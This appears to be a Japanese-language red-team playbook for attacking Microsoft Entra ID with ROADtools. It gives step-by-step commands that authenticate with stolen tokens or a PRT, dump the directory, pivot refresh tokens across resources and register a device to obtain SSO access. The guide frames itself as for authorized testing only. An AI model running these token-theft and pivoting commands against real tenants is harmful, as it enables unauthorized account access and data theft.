ROADtoolsによるEntra ID攻撃 は何をしますか?
認可された使用のみ: ROADtoolsは実際のMicrosoft Entra ID(Azure AD)テナントと対話し、デバイスの登録、トークンのミント・交換、ディレクトリオブジェクトの列挙を行います。所有するテナント、または書面で明示的にテストを許可されたテナントに対してのみ使用してください。クラウドテナントへの無許可アクセスは違法です。
概要
ROADtools(Dirk-jan Mollema氏作成)は、Microsoft Entra ID向けの事実上の攻撃ツールキットです。主に2つのコンポーネントで構成されます:
- ROADrecon — Entra IDに認証し、Azure AD Graph APIを介してディレクトリ全体をローカルのSQLiteデータベースに収集し、Angular GUIを提供してユーザー、グループ、役割、アプリケーション、サービスプリンシパル、条件付きアクセスポリシー、デバイスオブジェクトをオフラインで探索できます。プラグインシステムによりBloodHoundへのエクスポートやCAポリシーの分析が可能です。
- roadtx (ROADtools Token eXchange) — 多様なOAuthフロー(ROPC、デバイスコード、認可コード、リフレッシュトークン交換、アプリ/フェデレーテッドアプリ)を介してEntra発行トークンを取得・交換し、デバイス登録、およびプライマリリフレッシュトークン(PRT)操作(PRTベースのSSOやクッキーミントを含む)を実行します。FOCI(Family of Client IDs)対応により、あるファーストパーティクライアントのリフレッシュトークンを別のリソースのために交換できます。
これらを組み合わせることで、クラウドIDに対するDiscoveryフェーズ(テナントの列挙(T1087.004 Account Discovery: Cloud Account)およびMicrosoft Graph、Azure Resource Manager、その他のリソースにアクセスするために必要なトークンの取得/操作)をカバーします。ROADreconのオフラインデータベースはステルス性と高速性を提供し、roadtxはトークン窃取、PRT悪用、クロスリソースピボットを実用的にします。
使用タイミング
- 認可されたAzure / Entra IDレッドチームまたはクラウドペネトレーションテスト中。
- フォールクレデンシャル、リフレッシュトークン、またはPRTを入手しており、テナントを列挙する必要がある場合。
- あるリソース(例:Azure CLI)のトークンを別のリソース(例:Microsoft Graph)にピボットする必要がある場合。
- 条件付きアクセス、デバイス準拠、トークン制御が実際に攻撃者を制限するかを検証する場合。
- Entraの攻撃経路をマッピングする場合(グラフ分析のためにBloodHoundにエクスポート)。
前提条件
- 対象テナントに対する書面による認可と定義されたスコープ。
- 開始クレデンシャル: ユーザー名/パスワード(MFAフローなし)、デバイスコードセッション、リフレッシュ/アクセストークン、または登録済みデバイスのPRT。
- Python 3.7以上(roadtx Seleniumフローには対応するgeckodriver/Firefoxが必要)。
# コアインストール(roadlibは共有依存関係で自動的にインストールされます)
python -m pip install roadrecon
python -m pip install roadtx
# 確認
roadrecon --help
roadtx --help
目的
- 適切なフロー(MFA対応にはデバイスコード推奨)を介してEntra IDに認証する。
- ROADreconでディレクトリ全体を収集し、GUIで分析する。
- ディレクトリをBloodHoundにエクスポートし、CAポリシー分析プラグインを実行する。
- roadtxでトークンを取得し、リソース/クライアント間でリフレッシュトークンを交換する。
- PRTベースのSSOを実演し、結果として得られるアクセスを文書化する。
MITRE ATT&CKマッピング
| ID | 戦術 | 公式テクニック名 | このスキルでの役割 |
|---|---|---|---|
| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADreconがテナントユーザー/アカウントを列挙 |
| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADreconがEntraグループと役割を列挙 |
| T1538 | Discovery | Cloud Service Dashboard | GUIによるテナント構成の探索 |
| T1550.001 | Defense Evasion / Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtxによるクロスリソースリフレッシュトークン交換 |
| T1528 | Credential Access | Steal Application Access Token | roadtxによるPRT/トークン取得 |
ワークフロー
ステップ1: ROADreconで認証
フォールに合ったフローを選択してください。デバイスコードはMFAに対応しています。ROPC(-u/-p)は対応していません。
# ユーザー名/パスワード(レガシー、MFA非対応)
roadrecon auth -u [email protected] -p 'Password123!'
# デバイスコードフロー(MFA対応)
roadrecon auth --device-code
# 盗んだアクセスまたはリフレッシュトークンから
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# PRT(セッションキーあり)からSSOグレードのアクセス
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
認証により、作業ディレクトリに.roadtools_authが作成されます。
ステップ2: ディレクトリを収集
# roadrecon.db(デフォルト)にフル収集
roadrecon gather
# MFA/認証方法の詳細を含める(特権ロールが必要)
roadrecon gather --mfa
ステップ3: GUIで探索
roadrecon gui
# http://127.0.0.1:5000 にアクセス — ユーザー、グループ、役割、アプリケーション、
# サービスプリンシパル、デバイス、条件付きアクセスポリシーをすべてオフラインで確認できます。
ステップ4: 分析プラグインを実行
# 条件付きアクセスポリシーの分析
roadrecon plugin policies -h
roadrecon plugin policies
# 収集したデータをBloodHoundインポート可能な形式にエクスポート
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
ステップ5: roadtxでトークンを取得
# ROPC: Azure CLIクライアント用のMicrosoft Graphトークンを取得
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph
# TeamsクライアントからGraphへのデバイスコード形式のインタラクティブ認証
roadtx interactiveauth -c msteams -r msgraph
# 既存のリフレッシュトークンから
roadtx gettokens --refresh-token <refresh_token> -r msgraph
トークンは.roadtools_authに書き込まれます(--tokens-stdoutで標準出力に出力)。
ステップ6: リソース間でリフレッシュトークンを交換(FOCIピボット)
あるファーストパーティクライアント用に取得したFOCIリフレッシュトークンは、再認証なしで別のリソース用に交換できます。
# 保存されたリフレッシュトークンをAzure Resource Managerトークンに変換
roadtx refreshtokento -r azrm
# Teamsクライアント経由でスコープ指定のGraphトークンに変換
roadtx refreshtokento -c msteams -r msgraph
# 特定のスコープを保持するファーストパーティクライアントを検索
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
ステップ7: デバイス登録とPRTベースのSSO
# (仮想)デバイスをテナントに登録
roadtx device -n redteam-device
# デバイス証明書/キーとユーザークレデンシャルを使用してPRTを要求
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# PRTを使用してリソースにクライアントを認証(SSOグレード)
roadtx prtauth -c msteams -r msgraph
# PRTをインタラクティブなMFA要求でエンリッチ
roadtx prtenrich -u [email protected]
ステップ8: トークンを検査
# 保存された/指定されたトークンのクレームをデコードして表示
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
ツールとリソース
| ツール | 目的 | 主なソース |
|---|---|---|
| ROADtools(リポジトリ) | ツールキット概要とWiki | https://github.com/dirkjanm/ROADtools |
| ROADrecon Wiki | 認証/収集/GUI/プラグインの使用方法 | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| roadtx Wiki | トークン交換 + PRT/デバイスフロー | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | エクスポートされたEntraデータのグラフ分析 | https://github.com/SpecterOps/BloodHound |
| Microsoft ID プラットフォーム | トークン/フローリファレンス | https://learn.microsoft.com/entra/identity-platform/ |
検証基準
- 認可されたフローを介して対象テナントに認証され、
.roadtools_authが作成された。 - ディレクトリが
roadrecon.dbに収集された(ロールが許可する場合は--mfa付き)。 - GUIが探索され、ユーザー、グループ、役割、アプリ、CAポリシーが確認された。
- CAポリシーおよびBloodHoundプラグインが実行され、データがエクスポートされた。
- roadtxで少なくとも1つのリソースのトークンが取得された。
- リフレッシュトークンが2つ目のリソースに交換されたことが実演された(FOCIピボット)。
- デバイスが登録され、PRTベースのSSOが実演された(スコープ内の場合)。
- トークンのクレームが
roadtx describeで検査された。 - 発見事項とアクセスがエンゲージメントレポート用に文書化された。